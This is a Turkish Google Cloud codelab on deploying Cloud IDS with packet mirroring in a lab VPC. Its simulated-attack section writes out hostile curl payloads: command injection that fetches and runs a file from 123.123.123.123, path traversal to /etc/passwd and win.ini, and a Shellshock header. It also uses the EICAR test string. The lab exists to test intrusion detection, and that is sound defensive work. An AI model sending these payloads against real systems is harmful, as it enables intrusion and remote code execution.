1. Giriş
Bu laboratuvarda, izinsiz girişlere, kötü amaçlı yazılımlara, casus yazılımlara ve komut-kontrol saldırılarına karşı tehdit algılama özelliği sunan, yeni nesil, gelişmiş bir izinsiz giriş tespit hizmeti olan Cloud IDS'yi dağıtacaksınız. Cloud Console'da birden fazla saldırı simüle edecek ve tehdit ayrıntılarını görüntüleyeceksiniz.
Neler öğreneceksiniz?
- Cloud IDS uç noktası oluşturma
- gcloud komutlarıyla 2 sanal makine oluşturma
- Paket yansıtma politikası oluşturma
- Bir sanal makineden gelen saldırı trafiğini simüle etme
- Cloud Console ve Cloud Logging'de tehdit ayrıntılarını görüntüleme
Gerekenler
- Temel Linux komutları hakkında bilgi
2. Cloud IDS kullanım alanları
Cloud IDS, müşterilerin PCI 11.4 gibi gelişmiş tehdit algılama ve uygunluk gereksinimlerini karşılaması için Google Cloud'da yerel bir Gelecek Nesil Yetkisiz Erişim Algılama Hizmeti (IDS) sunar. Hizmet, Palo Alto Networks'ün tehditlere karşı koruma teknolojileri tarafından desteklenmektedir ve bu sayede gelişmiş izinsiz giriş tespiti özellikleri sunar. Google Cloud'un birinci sınıf altyapısını Palo Alto Networks'ün birinci sınıf güvenlikle birleştiren müşteriler; tümüyle yönetilen, yüksek performans ve en yüksek güvenlik verimliliğine sahip gelişmiş tehdit algılama hizmetinin eşsiz bir birleşimini sunuyor.
Müşteriler buluta geçiş yaparken güvenlik onlar için en önemli konudur. Şirket içi güvenlik denetimlerinin (ör. buluttaki İzinsiz Giriş Algılama Hizmeti (IDS)) kullanılmasını istiyorlar. 3. taraf bir güvenlik çözümü dağıtma ve altyapıyı yönetme ya da kendi imzalarını getirme ile kıyaslandığında dağıtım kolaylığı, yüksek performans ve optimize edilmiş maliyetler için bulutta yerel yönetilen IDS çözümünü kullanmayı kesinlikle tercih ederler. Google Cloud IDS, uçtan uca ve otomatik olarak ölçeklendirilen bir yönetilen IDS hizmeti sunar. Böylece müşterilerin zamanlarını tehditleri analiz edip azaltmaya harcamalarına olanak tanır. Ayrıca, altyapı veya tehdit imzalarını yönetmek için zaman ve kaynak tasarrufu sağlarlar.
Cloud IDS, bant dışında dağıtılır ve tehditleri algılayıp uyarı verebilir ancak tehditleri engelleyemez. Palo Alto Network tehdit algılama motoru kullanılarak analiz edilen ağ trafiğinin bir kopyasını oluşturmak için Google Cloud Paket Yansıtma'dan yararlanır.
3. Codelab topolojisi
Şekil 1. Bu laboratuvarda Cloud IDS dağıtımına üst düzey mimariye genel bakış.
4. Kurulum ve Gereksinimler
Kendi hızınızda ortam kurulumu
- Google Cloud Console'da oturum açıp yeni bir proje oluşturun veya mevcut bir projeyi yeniden kullanın. Gmail veya Google Workspace hesabınız yoksa hesap oluşturmanız gerekir.
- Proje adı, bu projenin katılımcıları için görünen addır. Google API'leri tarafından kullanılmayan bir karakter dizesidir ve bunu istediğiniz zaman güncelleyebilirsiniz.
- Proje Kimliği, tüm Google Cloud projelerinde benzersiz olmalıdır ve değiştirilemez (belirlendikten sonra değiştirilemez). Cloud Console, otomatik olarak benzersiz bir dize oluşturur. bunun ne olduğunu umursamıyorsunuz. Çoğu codelab'de, Proje Kimliğine referans vermeniz gerekir (ve bu kimlik genellikle
PROJECT_ID
olarak tanımlanır). Beğenmezseniz başka bir rastgele kod oluşturun ya da kendi proje kimliğinizi deneyip mevcut olup olmadığına bakın. Sıcaklık "soğudu" takip etmeniz gerekir. - Bazı API'lerin kullandığı üçüncü bir değer, yani Proje Numarası daha vardır. Bu değerlerin üçü hakkında daha fazla bilgiyi belgelerde bulabilirsiniz.
- Ardından, Cloud kaynaklarını/API'lerini kullanmak için Cloud Console'da faturalandırmayı etkinleştirmeniz gerekir. Bu codelab'i çalıştırmanın maliyeti, yüksek değildir. Bu eğitim dışında faturalandırmayla karşılaşmamak için kaynakları kapatmak istiyorsanız tüm "temizleme" işlemlerini uygulayın buradaki talimatları uygulayın. Yeni Google Cloud kullanıcıları, 300 ABD doları değerindeki ücretsiz denemeden yararlanabilir.
Cloud Shell'i başlatma
Google Cloud dizüstü bilgisayarınızdan uzaktan çalıştırılabilse de bu codelab'de, Cloud'da çalışan bir komut satırı ortamı olan Google Cloud Shell'i kullanacaksınız.
GCP Console'da, sağ üstteki araç çubuğunda yer alan Cloud Shell simgesini tıklayın:
Ortamı sağlamak ve bağlamak yalnızca birkaç dakika sürer. Tamamlandığında şuna benzer bir sonuç görmeniz gerekir:
İhtiyacınız olan tüm geliştirme araçlarını bu sanal makinede bulabilirsiniz. 5 GB boyutunda kalıcı bir ana dizin sunar ve Google Cloud üzerinde çalışarak ağ performansını ve kimlik doğrulamasını büyük ölçüde iyileştirir. Bu laboratuvardaki tüm çalışmalarınızı yalnızca bir tarayıcıyla yapabilirsiniz.
5. Başlamadan önce
API'leri etkinleştir
Cloud Shell'de proje kimliğinizin ayarlandığından emin olun
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Gerekli tüm hizmetleri etkinleştirin
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. VPC ağı oluştur
VPC Ağı
Cloud Shell'den
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Alt ağ
Cloud Shell'den
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Özel Hizmet Erişimi
Cloud Shell'den
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Özel Hizmet Bağlantısı
Cloud Shell'den
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Güvenlik Duvarı Kuralları
IAP'nin sanal makine örneklerinize bağlanmasına izin vermek için aşağıdaki şartları yerine getiren bir güvenlik duvarı kuralı oluşturun:
- IAP kullanarak erişilmesini istediğiniz tüm sanal makine örnekleri için geçerlidir.
- 35.235.240.0/20 IP aralığından giriş trafiğine izin verir. Bu aralık, IAP'nin TCP yönlendirme için kullandığı tüm IP adreslerini içerir.
Cloud Shell'den
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Sunucuda standart HTTP bağlantı noktası (TCP 80) ve ICMP protokolüne izin vermek için:
- "server" ağ etiketine sahip kaynaklar için geçerlidir
- Tüm kaynaklardan girişe izin verir
Cloud Shell'den
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT örneği oluşturma
Cloud Yönlendirici
Cloud Shell'den
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Cloud Shell'den
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Cloud IDS uç noktası oluşturma
Bu bölümde, us-east1 bölgesinde önem derecesi bilgi amaçlı olarak ayarlanmış bir Cloud IDS Uç Noktası oluşturacaksınız. IDS uç noktasının oluşturulması yaklaşık 20 dakika sürer.
IDS Uç Noktası
Cloud Shell'den
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Cloud IDS uç noktasının başlatıldığını doğrulama
gcloud ids endpoints list --project=$PROJECT_ID
Çıkış -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 2 sanal makine oluşturun
Bu bölümde 2 sanal makine oluşturacaksınız. Bunlardan ilki, Cloud IDS'ye yansıtılan web sunucunuz olacaktır. İkinci sanal makine, saldırı trafiği kaynağınız olacak.
Sanal Makine 1 (Sunucu)
Cloud Shell'den
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Sanal Makine 2 (İstemci)
Cloud Shell'den
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Sunucu hazırlanıyor
Bu görevde sunucunuzu doğrulayacak ve istemciniz için yararlı bir kötü amaçlı yazılım yükü sağlayacaksınız.
Cloud Shell aracılığıyla sanal makineye SSH üzerinden bağlan
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Web hizmetinin çalıştığını doğrulayın
sudo systemctl status nginx
Çıkış - etkin ve çalışır durumda olduğunu doğrulama
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Dizini web hizmeti olarak değiştir
cd /var/www/html/
Web sunucusunda yararlı bir kötü amaçlı yazılım dosyası oluşturun
sudo touch eicar.file
İçeriği yapıştırın
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
CloudShell'e dön
exit
Cloud IDS paket yansıtma politikası oluşturma
IDS Uç Noktası Yönlendirme Kuralı'nı belirleyin ve IDS Uç Noktası durumunun "READY" olduğunu onaylayın.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Örnek Çıkış - "endpointYönlendirmeRule" değerindeki değeri kopyalama
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
IDS Uç Noktası Yönlendirme Kuralını bir değişkene kaydedin.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Paket Yansıtma Politikası
Cloud Shell'den
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Paket yansıtma politikasının oluşturulduğunu doğrulayın
Cloud Shell'den
gcloud compute packet-mirrorings list
Çıkış
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Saldırı trafiğini simüle et
Saldırgan sanal makinesine SSH ile bağlan (İstemci)
Cloud Shell'den
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Kötü amaçlı trafiği simüle etmek için aşağıdaki curl isteklerini çalıştırın.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
CloudShell'e dönmek için sanal makineden çıkın
exit
11. Cloud IDS tarafından algılanan tehditleri inceleyin
Cloud IDS Kontrol Paneli'ne gitme
Gezinme Menüsü > Ağ Güvenliği > Cloud IDS
Tehditler sekmesine gidin.
Gördüğünüz gibi Cloud IDS, çeşitli saldırı trafiği profillerini ele geçirmiş ve her tehditle ilgili ayrıntıları paylaşmıştır. "Yenile"yi tıklamanız gerekebilir. düğmesini tıklayın. Şimdi biraz daha derine inip tehdit ayrıntılarını inceleyeceğiz.
"Bash Remote Code Execution Güvenlik Açığı"nı bulun tehdit ve sağdaki üç noktayı tıklayıp "Tehdit ayrıntılarını göster"i seçin
Şimdi bu olayın ayrıntılarını Cloud Logging'de görüntüleyeceğiz. Solu gösteren oku tıklayarak Tehditler sayfasına geri dönün .
Sağdaki üç noktayı tıklayın ve "Tehdit günlüklerini göster"i seçin
Aynı ayrıntılar Cloud Logging'e de sağlanır. Bu sayede günlükleri Cloud Storage, Chronicle veya herhangi bir SIEM/SOAR'a gönderebilirsiniz. Ayrıca, uyarılara göre düzeltme işlemi yapmak için özel iş akışları da oluşturabilirsiniz (ör. bir uyarıda tetiklenen bir Cloud Functions işlevi oluşturabilir ve IP adresini engellemek için bir güvenlik duvarı kuralı oluşturabilir/güncelleyebilir veya bir Cloud Armor politikası oluşturabilir/güncelleyebilir.
12. Temizleme adımları
Sanal makine örneğinden çıkış (tüm sekmeler)
exit
Laboratuvar bileşenlerini tek bir Cloud Shell terminalinden silin
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Tebrikler!
Codelab'i tamamladığınız için tebrikler.
İşlediklerimiz
- Cloud IDS kullanım alanları
- Ağ gereksinimleri
- Desteklenen API'ler
- Cloud IDS uç noktası oluşturuldu
- 2 sanal makine dağıtıldı
- Bir tür "saldırı" gerçekleştirdi istemciden gelen trafik
- IDS, doğrulanmış tehditler algıladı
- Tehdit ayrıntılarını ve günlükleri inceleyin